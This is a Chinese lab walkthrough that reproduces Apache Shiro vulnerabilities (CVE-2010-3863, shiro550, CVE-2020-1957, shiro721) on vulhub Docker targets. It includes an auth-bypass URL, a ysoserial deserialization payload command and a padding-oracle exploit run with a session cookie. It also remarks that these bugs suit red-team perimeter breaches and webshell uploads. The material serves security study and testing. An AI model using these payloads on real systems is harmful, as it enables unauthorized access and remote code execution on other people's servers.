vulhub靶场shiro系列漏洞复现CVE-2010-3863、CVE-2016-4437(shiro550)、CVE-2020-1957、shiro721

目录

shiro简介

shiro漏洞成因

shiro550

shiro721

利用过程

CVE-2010-3863(未授权访问)

简介

CVE-2016-4437(shiro550)

简介

CVE-2020-1957(未授权访问)

漏洞影响

简介

url处理过程

shiro721

影响版本

简介

利用

环境搭建

复现


shiro简介

是一个强大的并且简单使用的java权限框架.主要应用认证(Authentication),授权(Authorization),cryptography(加密),和Session Manager.Shiro具有简单易懂的API,使用Shiro可以快速并且简单的应用到任何应用中,无论是从最小的移动app到最大的企业级web应用都可以使用。

shiro漏洞成因

shiro最突出的两个漏洞就是550和721了,都是因为密匙的原因造成得漏洞,因为使用的是对称加密,所以只要知道了密匙(密匙字典或者默认密匙)就能利用反序列化的漏洞造成危害,这个漏洞一直都很好用,特别是一些红蓝对抗HW的下边界突破很好用

shiro550

  1. shiro550一般只需要使用已知密匙去做碰撞,只需要密匙库够丰富(利用条件低)
  2. shiro550在登陆时默认是先验证"rememberMe" Cookie的值,而不是先进行身份验证,攻击者可以利用这个认证机制来实现未授权访问

部分高于1.2.4版本的Shiro也会受到影响

shiro721

  1. shiro721就不能像550一样利用已知密匙去做碰撞,它使用的aes加密的key是系统随机生成的基本猜不到,一般是利用Padding Oracle Attack攻击去做类似于爆破一样的工作
  2. shiro721在登录时和550不同,他会先做身份验证,再去验证"rememberMe" Cookie的值,所以攻击者需要已通过身份验证,并且shiro框架为攻击者创建了一个有效会话

想要详细了解padding oracle attack攻击可以去看这篇博文,写的非常详细。

一文搞明白 Padding Oracle Attack-CSDN博客

Padding Oracle Attack攻击条件:

  1. 攻击者能获取到密文,以及IV向量(IV向量:密文的前八个字节,IV向量是用来加强密文的随机性)
  2. 攻击者能修改密文并触发解密过程,解密成功与失败存在差异(就是返回包里如果错误大多数的网站会返回rememberme=deleteMe)

Padding Oracle Attack

  • 如果data值没有被篡改,则解密成功,并且业务校验成功,响应200
  • 如果data值被篡改,服务端无法完成解密,解密校验失败,则响应500
  • 如果data值被篡改,但是服务端解密成功,但业务逻辑校验失败,则可能返回200或302等响应码,而不是响应500

利用过程

检索RememberMe Cookie的值 ——》base64解密——》AES解密——》反序列化(没做任何过滤)

CVE-2010-3863(未授权访问)

简介

在Apache Shiro 1.1.0以前的版本中,shiro没有对url做防护,导致可以通过'../'   './'   '/'这些来达到未授权访问来绕过权限验证

这里使用的时docker搭建的环境

是一个很标准的未授权访问

CVE-2016-4437(shiro550)

简介

在 1.2.5 之前的 Apache Shiro 中,当未为“记住我”功能配置密码密钥时,远程攻击者可以通过未指定的请求参数执行任意代码或绕过预期的访问限制。

####部分高于1.2.4版本也会受影响

还是利用docker搭建1.2.4版本shiro

shiro框架的特点就是这个remember me

如果发包的时候没有就看返回包有没有set remember me这些东西

直接利用shiro攻击工具爆破密匙,直接利用

后续就可以直接开始命令执行或者传马子

CVE-2020-1957(未授权访问)

漏洞影响

<1.5.1

简介

Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,实现未授权访问

简单来说就是apache shiro框架和spring boot的对url的处理不同从而造成的越权

url处理过程

  1. 攻击者恶意传入/123/..;/admin/
  2. shiro处理后看到的是/123/..
  3. spring boot处理后则是/admin/

shiro721

影响版本

1.2.5     1.2.6    1.3.0    1.3.1    1.3.2    1.4.0-RC2    1.4.0    1.4.1

简介

和550的区别就是使用了aes-cbc加密,使用了IV向量来加强密文的随机性,保证相同明文经过相同密匙加密的结果不同。

利用

这种只能用padding Oracle attack攻击

详细了解可以去看

一文搞明白 Padding Oracle Attack_padding oracle attacks cbc mode encryption – weak -CSDN博客

环境搭建

git clone https://github.com/inspiringz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 .           

######这里的点不是打错了,是需要加进去的,'.'表示 Docker 将会在当前目录下查找 Dockerfile 文件并以此为基础进行构建

docker run -p 8080:8080 -d shiro-721

复现

这里的shiro721因为和550的验证过程不同所以需要先登录再去利用remember me

550:先解析remember me再去验证身份

721:先去验证身份再去验证remember me

 shiro最大的特征就是基于返回包看是否有rememberMe=DeleteMe。

首先正常登录先拿到cookie里的加密信息


然后使用ysoserial构造一个攻击

这里只是执行一个创建文件夹的命令

java  -jar ysoserial-master-6eca5bc740-1.jar   CommonsCollections1 'mkdir /123' > 1.class

在使用padding oracle attack脚本进行攻击构造一个正常的Evil Rememberme cookie

下载靶场以后自带的有poc

python + shiro_exp.py + web路径 + remember me cookie值 + 攻击payload

python /home/kali/vulhub-master/shiro/Shiro-721/shiro_exp.py http://172.28.10.221:8080/account/  HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdgEKZZ9XbbimYH8S7+Xsv0uzx8PH0OuIiFX3HAofmx5y4cvRpYove0NU+/QaRwZV2LoWtAi0adC/vCHb1H2ochg5LBel6jEQakIP3AmYkEOqfRTRl/sm1olkPM+sFk6+lGw9UtDvWqCCqK5fopXV+0n4qCJlyoNyWdVEmm+mZbxekimV3QDdlC75kuyv9Utw9VtOGMdeyBttl8YrXJCJEFEdIN22LxA//iqnyGjltUEljFrZhTXXhml/V8oPVnXFOAmygIaFD6uv9rWnTtPBlLOblusyElga20ngvoMOVKTu3uYHV0Hmiw/gcnT1yT0ZosI2/fe+dzmbVNyGrwKktYjEobCZIIz/U4intWvQ77   1.class

这里会跑很长一段时间(1小时左右)

最后将伪造好的cookie替换掉原来的cookie进行利用

最后去docker容器里查看执行成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/533758.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024全国现代流通经济创新大会暨城郊大仓基地高质量建设论坛日程发布

2024年4月19日 中国平谷 建设城郊大仓基地 创新现代流通经济 一、大会开幕式&主论坛 时间&#xff1a;9:00-12:00 地点&#xff1a;博物馆一楼 报告厅 主持人&#xff1a;中国商业联合会商贸物流与供应链分会会长干为 08:30-09:00 大会入场&宣传片视频 09:00-0…

iOS 启动速度优化

启动耗时&#xff1a;点击App后到首帧显示耗费的时间。 阶段分析&#xff1a;premain、postmain&#xff0c;也就是main函数执行前和main函数执行后。 耗时检测&#xff1a;Instrument->App Launch Premain 减少动态库数量&#xff1a;启动时程序会加载动态库&#xff0c;…

Acrobat Pro DC 2021---PDF编辑与管理,打造高效PDF工作流程 含Mac+win

Acrobat Pro DC 2021包括全面的PDF编辑、OCR识别、多种输出格式转换以及强大的文件安全性保护。用户可轻松编辑、合并、转换PDF文件&#xff0c;同时支持将扫描文档转换为可编辑的PDF。可将PDF转换为Word、Excel、PowerPoint等格式&#xff0c;提高工作效率。 Mac电脑&#xf…

vue的 blob文件下载文件时,后端自定义异常,并返回json错误提示信息,前端捕获信息并展示给用户

1.后端返回的json数据结构为&#xff1a; {"message":"下载失败&#xff0c;下载文件不存在&#xff0c;请联系管理员处理&#xff01;","code":500} 2.vue 请求后台接口返回的 Blob数据 3.问题出现的原因是&#xff0c;正常其他数据列表接口&…

2024/4/2—力扣—连续数列

代码实现&#xff1a; 思路&#xff1a;最大子数组和 解法一&#xff1a;动态规划 #define max(a, b) ((a) > (b) ? (a) : (b))int maxSubArray(int* nums, int numsSize) {if (numsSize 0) { // 特殊情况return 0;}int dp[numsSize];dp[0] nums[0];int result dp[0];fo…

阿里云云效CI/CD配置

1.NODEJS项目流水线配置(vue举例) nodejs构建配置 官方教程 注意:下图的dist是vue项目打包目录名称,根据实际名称配置 # input your command here cnpm cache clean --force cnpm install cnpm run build 主机部署配置 rm -rf /home/vipcardmall/frontend/ mkdir -p /home/…

海山数据库(He3DB)原理剖析:浅析OLAP数据库计算引擎中的统计信息

背景&#xff1a; 统计信息在计算引擎的优化器模块中经常被提及&#xff0c;尤其是在基于成本成本优化&#xff08;CBO&#xff09;框架中统计信息发挥着至关重要的作用。CBO旨在通过评估执行查询的可能方法&#xff0c;并选择最有效的执行计划来提高查询性能。而统计信息则提…

传统企业如何实现数字化转型?

传统企业实现数字化转型是一个系统性工程&#xff0c;涉及到企业战略、技术应用、组织结构、业务流程、人才培养等多个方面。以下是一些关键步骤和策略&#xff1a; 1、明确转型目标和战略&#xff1a;首先&#xff0c;企业需要明确数字化转型的目标&#xff0c;这通常是为了提…

48-基于腾讯云EKS的容器化部署实战

准备工作 在部署IAM应用之前&#xff0c;我们需要做以下准备工作&#xff1a; 开通腾讯云容器服务镜像仓库。安装并配置Docker。准备一个Kubernetes集群。 开通腾讯云容器服务镜像仓库 在Kubernetes集群中部署IAM应用&#xff0c;需要从镜像仓库下载指定的IAM镜像&#xff…

MES车间管理有哪些方面

一、MES车间管理概述 MES车间管理是以MES系统为基础&#xff0c;对车间生产过程进行全方位、实时性的管理和控制。它涵盖了生产计划、生产调度、物料管理、设备维护、质量控制等多个方面&#xff0c;确保生产过程的顺利进行&#xff0c;提高生产效率和质量。 二、生产计划与调…

【重磅福利】数字化转型大数据数据治理平台建设精品PPT合集共25份(免费下载)

【1】关注本公众号 【2】私信发送 数字化转型 【3】获取本方案合集的下载链接&#xff0c;直接下载即可。 如需下载更多PPT原格式方案文档&#xff0c;请加入微信扫描以下方案驿站知识星球&#xff0c;获取上万份PPT解决方案&#xff01;&#xff01;&#xff01;感谢支持&am…

AI大模型探索之路-应用篇8:Langchain框架LangServe模块-专注于AI模型的部署

目录 前言 一、概述 二、功能特性 三、REST API 开发 四、Postman调用测试 五、Client调用测试 总结 前言 随着AI大语言模型&#xff08;LLM&#xff09;的技术的不断演进&#xff0c;AI应用的开发和部署变得越来越复杂。在这样的背景下&#xff0c;LangServe应运而生—…

Unity 中画线

前言&#xff1a; 在Unity项目中&#xff0c;调试和可视化是开发过程中不可或缺的部分。其中&#xff0c;绘制线条是一种常见的手段&#xff0c;可以用于在Scene场景和Game视图中进行调试和展示。本篇博客将为你介绍多种不同的绘制线条方法&#xff0c;帮助你轻松应对各种调试…

第三资本:铸就辉煌非凡的资历

第三资本香港有限公司在在金融投资领域一直以专业精神和不懈追求获得良好名声,近几年在国际资本市场上更是写下了辉煌的章节。针对第三资本而言,专业是基本,也是成功的唯一途径。投资总监刘国海解释道:“金融从业者务必深入把握专业能力,对行业现状敏感,重视风险管控,才能在这个…

炫我桌面云流系统,不一样的云桌面系统

云桌面&#xff0c;又称桌面虚拟化、云电脑&#xff0c;是替代传统电脑的一种新模式。它采用虚拟化技术&#xff0c;将物理服务器划分为多个虚拟机&#xff0c;以提供多个独立的虚拟桌面环境。每个虚拟机都具有自己的操作系统、计算资源和应用程序等&#xff0c;可以实现多用户…

vue快速入门(十四)reduce求和

注释很详细&#xff0c;直接上代码 上一篇 新增内容 非嵌套情况求和嵌套情况求和 源码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initia…

ZYNQ7000 PL与PS交互总结

这里写目录标题 一、ZYNQ7000整体框架二、AXI总线与接口2.1 AXI总线协议分类2.1.1 AXI_Lite协议2.1.2 AXI_Full协议2.1.3 AXI_Stream协议 2.2 AXI接口分类 三、PS与PL交互方式总结3.1 PL中断3.2 AXI_Lite协议配合AXI GP接口进行寄存器访问3.3 AXI_Full协议配合AXI HP接口进行内…

Flutter第七弹 网格列表GridView

1) Flutter提供了网格列表&#xff0c;怎么设置列数&#xff1f; 2&#xff09;怎么初始化每个列表项Item&#xff1f; 一、GridView简介 Flutter也存在网格列表组建GridView&#xff0c;用于展示多行多列的列表。 1.1 GridView构建 采用GridView.count() 进行构建 1.2 Gr…

模型训练基本概念-赛博炼丹

文章目录 拓展知识基础名词解释&#xff08;语义库更新&#xff09;机器学习任务流程模型训练基本流程模型训练详细流程正向传播与反向传播正向传播-求误差值反向传播-求参数值 学习率激活函数激活函数-为什么希望激活函数输出均值为0&#xff1f;激活函数 — softmax & ta…

Pytorch张量的数学运算:向量基础运算

文章目录 一、简单运算二、广播运算1.广播的基本规则2.广播操作的例子 三、运算函数 参考&#xff1a;与凤行 张量的数学运算是深度学习和科学计算中的基础。张量可以被视为一个多维数组&#xff0c;其在数学和物理学中有广泛的应用。这些运算包括但不限于加法、减法、乘法、除…